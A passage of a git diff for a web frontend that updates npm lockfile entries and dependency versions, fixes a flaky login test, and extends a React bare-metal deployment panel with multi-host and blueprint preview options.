[ + "freebsd" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-arm": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.28.1.tgz", + "integrity": "sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.28.1.tgz", + "integrity": "sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-ia32": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.28.1.tgz", + "integrity": "sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-loong64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.28.1.tgz", + "integrity": "sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-mips64el": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.28.1.tgz", + "integrity": "sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-ppc64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.28.1.tgz", + "integrity": "sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-riscv64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.28.1.tgz", + "integrity": "sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-s390x": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.28.1.tgz", + "integrity": "sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.28.1.tgz", + "integrity": "sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/netbsd-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.28.1.tgz", + "integrity": "sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/openbsd-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.28.1.tgz", + "integrity": "sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/sunos-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.28.1.tgz", + "integrity": "sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/win32-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.28.1.tgz", + "integrity": "sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/win32-ia32": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.28.1.tgz", + "integrity": "sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/win32-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.28.1.tgz", + "integrity": "sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@vitest/mocker": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.9.tgz", + "integrity": "sha512-EVkXzBjrPGM+cK8/ANWgBrkUCfJfb38/EfTSO8h7pWvKkyPkpWxvR7BkD2MyItMF62C97zAEoqdpUixwR/e+Rw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/spy": "4.1.9", + "estree-walker": "^3.0.3", + "magic-string": "^0.30.21" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "msw": "^2.4.9", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "msw": { + "optional": true + }, + "vite": { + "optional": true + } + } + }, + "node_modules/vitest/node_modules/esbuild": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.1.tgz", + "integrity": "sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "peer": true, + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.28.1", + "@esbuild/android-arm": "0.28.1", + "@esbuild/android-arm64": "0.28.1", + "@esbuild/android-x64": "0.28.1", + "@esbuild/darwin-arm64": "0.28.1", + "@esbuild/darwin-x64": "0.28.1", + "@esbuild/freebsd-arm64": "0.28.1", + "@esbuild/freebsd-x64": "0.28.1", + "@esbuild/linux-arm": "0.28.1", + "@esbuild/linux-arm64": "0.28.1", + "@esbuild/linux-ia32": "0.28.1", + "@esbuild/linux-loong64": "0.28.1", + "@esbuild/linux-mips64el": "0.28.1", + "@esbuild/linux-ppc64": "0.28.1", + "@esbuild/linux-riscv64": "0.28.1", + "@esbuild/linux-s390x": "0.28.1", + "@esbuild/linux-x64": "0.28.1", + "@esbuild/netbsd-arm64": "0.28.1", + "@esbuild/netbsd-x64": "0.28.1", + "@esbuild/openbsd-arm64": "0.28.1", + "@esbuild/openbsd-x64": "0.28.1", + "@esbuild/openharmony-arm64": "0.28.1", + "@esbuild/sunos-x64": "0.28.1", + "@esbuild/win32-arm64": "0.28.1", + "@esbuild/win32-ia32": "0.28.1", + "@esbuild/win32-x64": "0.28.1" + } + }, + "node_modules/vitest/node_modules/picomatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", + "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/vitest/node_modules/vite": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.1.0.tgz", + "integrity": "sha512-BuJcQK/56NQTWDGn4ABea3q4SSBdNPWwNZKTkkUpcMPnLoquSYH8llRtSUIgoL1KSCpHt5eghLShn50mH36y7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "lightningcss": "^1.32.0", + "picomatch": "^4.0.4", + "postcss": "^8.5.15", + "rolldown": "~1.1.2", + "tinyglobby": "^0.2.17" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^20.19.0 || >=22.12.0", + "@vitejs/devtools": "^0.3.0", + "esbuild": "^0.27.0 || ^0.28.0", + "jiti": ">=1.21.0", + "less": "^4.0.0", + "sass": "^1.70.0", + "sass-embedded": "^1.70.0", + "stylus": ">=0.54.8", + "sugarss": "^5.0.0", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "@vitejs/devtools": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/w3c-xmlserializer": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", + "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", + "dev": true, + "license": "MIT", + "dependencies": { + "xml-name-validator": "^5.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-encoding": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", + "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==", + "deprecated": "Use @exodus/bytes instead for a more spec-conformant and faster implementation", + "dev": true, + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/whatwg-mimetype": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", + "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==", + "dev": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/whatwg-url": { + "version": "14.2.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", + "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==", + "dev": true, + "dependencies": { + "tr46": "^5.1.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/why-is-node-running": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", + "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "siginfo": "^2.0.0", + "stackback": "0.0.2" + }, + "bin": { + "why-is-node-running": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ws": { + "version": "8.19.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz", + "integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==", + "dev": true, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-name-validator": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", + "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "dev": true, + "license": "MIT" + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true, + "license": "ISC" + }, + "node_modules/yaml-ast-parser": { + "version": "0.0.43", + "resolved": "https://registry.npmjs.org/yaml-ast-parser/-/yaml-ast-parser-0.0.43.tgz", + "integrity": "sha512-2PTINUwsRqSd+s8XxKaJWQlUuEMHJQyEuh2edBbW8KNJz0SJPwUSD2zRWqezFEdN7IzAgeuYHFUCF7o8zRdZ0A==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/yoctocolors-cjs": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/yoctocolors-cjs/-/yoctocolors-cjs-2.1.3.tgz", + "integrity": "sha512-U/PBtDf35ff0D8X8D0jfdzHYEPFxAI7jJlxZXwCSez5M3190m+QobIfh+sWDWSHMCWWJN2AWamkegn6vr6YBTw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zod": { + "version": "3.25.76", + "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", + "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/zustand": { + "version": "4.5.7", + "resolved": "https://registry.npmjs.org/zustand/-/zustand-4.5.7.tgz", + "integrity": "sha512-CHOUy7mu3lbD6o6LJLfllpjkzhHXSBlX8B9+qPddUsIfeF5S/UZ5q0kmCsnRqT1UHFQZchNFDDzMbQsuesHWlw==", + "license": "MIT", + "dependencies": { + "use-sync-external-store": "^1.2.2" + }, + "engines": { + "node": ">=12.7.0" + }, + "peerDependencies": { + "@types/react": ">=16.8", + "immer": ">=9.0.6", + "react": ">=16.8" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "immer": { + "optional": true + }, + "react": { + "optional": true + } + } + } + } +} diff --git a/frontend-v2/package.json b/frontend-v2/package.json index 48db57cf..4e25c0cf 100644 --- a/frontend-v2/package.json +++ b/frontend-v2/package.json @@ -47,12 +47,12 @@ "@tanstack/react-virtual": "^3.13.18", "@xterm/addon-fit": "^0.10.0", "@xterm/xterm": "^5.5.0", - "axios": "^1.17.0", + "axios": "^1.18.1", "class-variance-authority": "^0.7.0", "clsx": "^2.1.0", "cmdk": "^1.1.1", "diff": "^8.0.3", - "js-yaml": "^4.2.0", + "js-yaml": "^4.3.1", "lucide-react": "^0.307.0", "react": "^18.2.0", "react-dom": "^18.2.0", diff --git a/frontend-v2/src/components/__tests__/Login.test.tsx b/frontend-v2/src/components/__tests__/Login.test.tsx index 99994a50..041eb78a 100644 --- a/frontend-v2/src/components/__tests__/Login.test.tsx +++ b/frontend-v2/src/components/__tests__/Login.test.tsx @@ -85,16 +85,18 @@ describe('Login', () => { }); it('shows loading state during login', async () => { - // Delay the response to check loading state + // Hold the response open for the life of the test WITHOUT a live timer. + // The previous 200 ms setTimeout could outlive the test: it asserted the + // loading state and returned, vitest tore jsdom down, and ~200 ms later + // msw delivered the response via `new ProgressEvent(...)` -- which no + // longer existed. "ReferenceError: ProgressEvent is not defined" as an + // unhandled rejection, failing the whole run intermittently (it took + // down CI on #158, a PR that touches no frontend code at all). Same + // class as #153 / the SSOAuthDialog fix in #152: async completion racing + // environment teardown. A never-settling promise holds the request open + // with nothing left to fire after the test ends. server.use( - http.post('*/api/auth/login', async () => { - await new Promise((resolve) => setTimeout(resolve, 200)); - return HttpResponse.json({ - token: 'mock-jwt-token', - user: { id: 1, username: 'admin', email: 'admin@example.com', role: 'admin', is_active: true, must_change_password: false, last_login_at: null, created_at: '2026-01-01T00:00:00Z' }, - must_change_password: false, - }); - }) + http.post('*/api/auth/login', () => new Promise(() => {})) ); const user = userEvent.setup(); diff --git a/frontend-v2/src/components/bare-metal/BareMetalPanel.tsx b/frontend-v2/src/components/bare-metal/BareMetalPanel.tsx index 28718350..56748c2a 100644 --- a/frontend-v2/src/components/bare-metal/BareMetalPanel.tsx +++ b/frontend-v2/src/components/bare-metal/BareMetalPanel.tsx @@ -3,7 +3,8 @@ * * Visual template: NodeDiscoveryPanel (discovery tab) — expandable rows with status badges. */ -import { useState, useCallback, useEffect, useRef } from 'react'; +import { useState, useCallback, useEffect, useRef, useMemo } from 'react'; +import { useNavigate } from 'react-router-dom'; import { useQuery, useQueryClient } from '@tanstack/react-query'; import { AlertCircle, @@ -14,6 +15,7 @@ import { CircuitBoard, Copy, Cpu, + Eye, Info, Key, Link, @@ -30,6 +32,8 @@ import { import { api } from '@/lib/api'; import { bareMetalDeploymentsApi } from '@/lib/api/bare-metal'; import { sshCredentialsApi } from '@/lib/api/ssh-credentials'; +import { stacksApi } from '@/lib/api/stacks'; +import { StackDetailDialog } from '@/components/stacks/StackDetailDialog'; import { queryKeys } from '@/lib/queryKeys'; import { useProject } from '@/hooks/useProjects'; import { Badge } from '@/components/ui/badge'; @@ -54,7 +58,7 @@ import { useCreateBareMetalDeployment, useBareMetalDeployment, useCancelBareMetalDeployment, - useBnkVersionProfiles, + useDeployableReleases, } from '@/hooks/useBareMetal'; import { notify, notifyError } from '@/lib/notify'; import { cn } from '@/lib/utils'; @@ -69,9 +73,29 @@ import type { BareMetalHostUpdate, BareMetalDiscoveryResponse, BareMetalDeployment, + BareMetalDeploymentCreate, DeploymentStep, DeploymentPlanPreview, } from '@/types/bare-metal'; + +/** Payload passed from MultiHostDeployModal to handleMultiHostDeploy. + * Extends BareMetalDeploymentCreate with modal-routing and blueprint-only extras. + * The blueprint_* fields are passed to createStackInstance variables and are + * never forwarded to the deployment API. */ +interface MultiHostDeployPayload extends BareMetalDeploymentCreate { + deploy_engine?: 'blueprint' | 'orchestrator'; + template_id?: number; + /** Blueprint-only: slug of the selected template — used to resolve module paths + * so variables are stored in the same module-path-keyed nested shape as + * StackDetailDialog (the backend keys per-module variables by path). */ + template_slug?: string; + /** Blueprint-only: host_id → DPU PCI address mapping for stack instance variables. */ + blueprint_dpu_selections?: Record; + /** Blueprint-only: tmfifo IP pool CIDR for stack instance variables. */ + blueprint_tmfifo_pool_cidr?: string; + /** Blueprint-only: topology string for stack instance variables. */ + blueprint_topology?: string; +} import { DocaStatusCard } from './DocaStatusCard'; interface BareMetalPanelProps { @@ -81,17 +105,28 @@ interface BareMetalPanelProps { export function BareMetalPanel({ projectId, isOwner }: BareMetalPanelProps) { const queryClient = useQueryClient(); + const navigate = useNavigate(); const [showAddForm, setShowAddForm] = useState(false); + const [showMultiHostModal, setShowMultiHostModal] = useState(false); const [selectedHostId, setSelectedHostId] = useState(null); const [activeDeploymentId, setActiveDeploymentId] = useState(null); const [deployPreview, setDeployPreview] = useState<{ hostId: number; plan: DeploymentPlanPreview } | null>(null); const [isLoadingPreview, setIsLoadingPreview] = useState(false); + const [previewSlug, setPreviewSlug] = useState(null); + const [previewVariables, setPreviewVariables] = useState | null>(null); + + const handlePreviewInBlueprintDialog = useCallback((templateSlug: string, variables: Record) => { + setShowMultiHostModal(false); + setPreviewSlug(templateSlug); + setPreviewVariables(variables); + }, []); + const { data: project } = useProject(projectId); const projectSshCredentialId = project?.ssh_credential_id; const { data: hosts, isLoading: hostsLoading } = useBareMetalHostsWithPolling(projectId); - const { data: profiles } = useBnkVersionProfiles(); + const { data: releases } = useDeployableReleases(); // Track previous discovery statuses to detect transitions const prevStatusRef = useRef>({}); @@ -160,6 +195,11 @@ export function BareMetalPanel({ projectId, isOwner }: BareMetalPanelProps) { const [jumpCredMode, setJumpCredMode] = useState<'existing' | 'new'>('existing'); const [newJumpCred, setNewJumpCred] = useState({ name: '', host: '', username: '', auth_type: 'password' as 'key' | 'password', password: '', private_key: '' }); + // Default 'new' preserves the pre-ADR-424 behavior: a -dpu SSH + // credential is auto-created from the ubuntu/password defaults on host + // registration. The 'existing' picker is an additive opt-in; ADR-424 does + // not require changing this default, so keep the prior behavior. + const [dpuCredMode, setDpuCredMode] = useState<'existing' | 'new'>('new'); const [dpuCred, setDpuCred] = useState({ username: 'ubuntu', password: 'password' }); const handleCreateHost = useCallback(async () => { @@ -199,8 +239,8 @@ export function BareMetalPanel({ projectId, isOwner }: BareMetalPanelProps) { queryClient.invalidateQueries({ queryKey: queryKeys.sshCredentials.all }); } - // Step 2.5: Create DPU SSH credential if username/password provided - if (dpuCred.username && dpuCred.password) { + // Step 2.5: Create DPU SSH credential if new mode selected + if (dpuCredMode === 'new' && dpuCred.username && dpuCred.password) { const credName = `${newHost.name || 'host'}-dpu`; const dpuCredResult = await sshCredentialsApi.createSSHCredential({ name: credName, @@ -222,12 +262,13 @@ export function BareMetalPanel({ projectId, isOwner }: BareMetalPanelProps) { setNewHostCred({ name: '', username: 'root', auth_type: 'key', password: '', private_key: '' }); setJumpCredMode('existing'); setNewJumpCred({ name: '', host: '', username: '', auth_type: 'password', password: '', private_key: '' }); + setDpuCredMode('new'); setDpuCred({ username: 'ubuntu', password: 'password' }); setSelectedHostId(host.id); } catch (err) { notifyError(err, 'Failed to register host'); } - }, [newHost, hostCredMode, newHostCred, jumpCredMode, newJumpCred, dpuCred, createHost, queryClient]); + }, [newHost, hostCredMode, newHostCred, jumpCredMode, newJumpCred, dpuCredMode, dpuCred, createHost, queryClient]); const handleDeleteHost = useCallback(async (hostId: number, hostName: string) => { if (!confirm(`Delete host "${hostName}"? This removes all discovery data and deployments.`)) return; @@ -269,7 +310,9 @@ export function 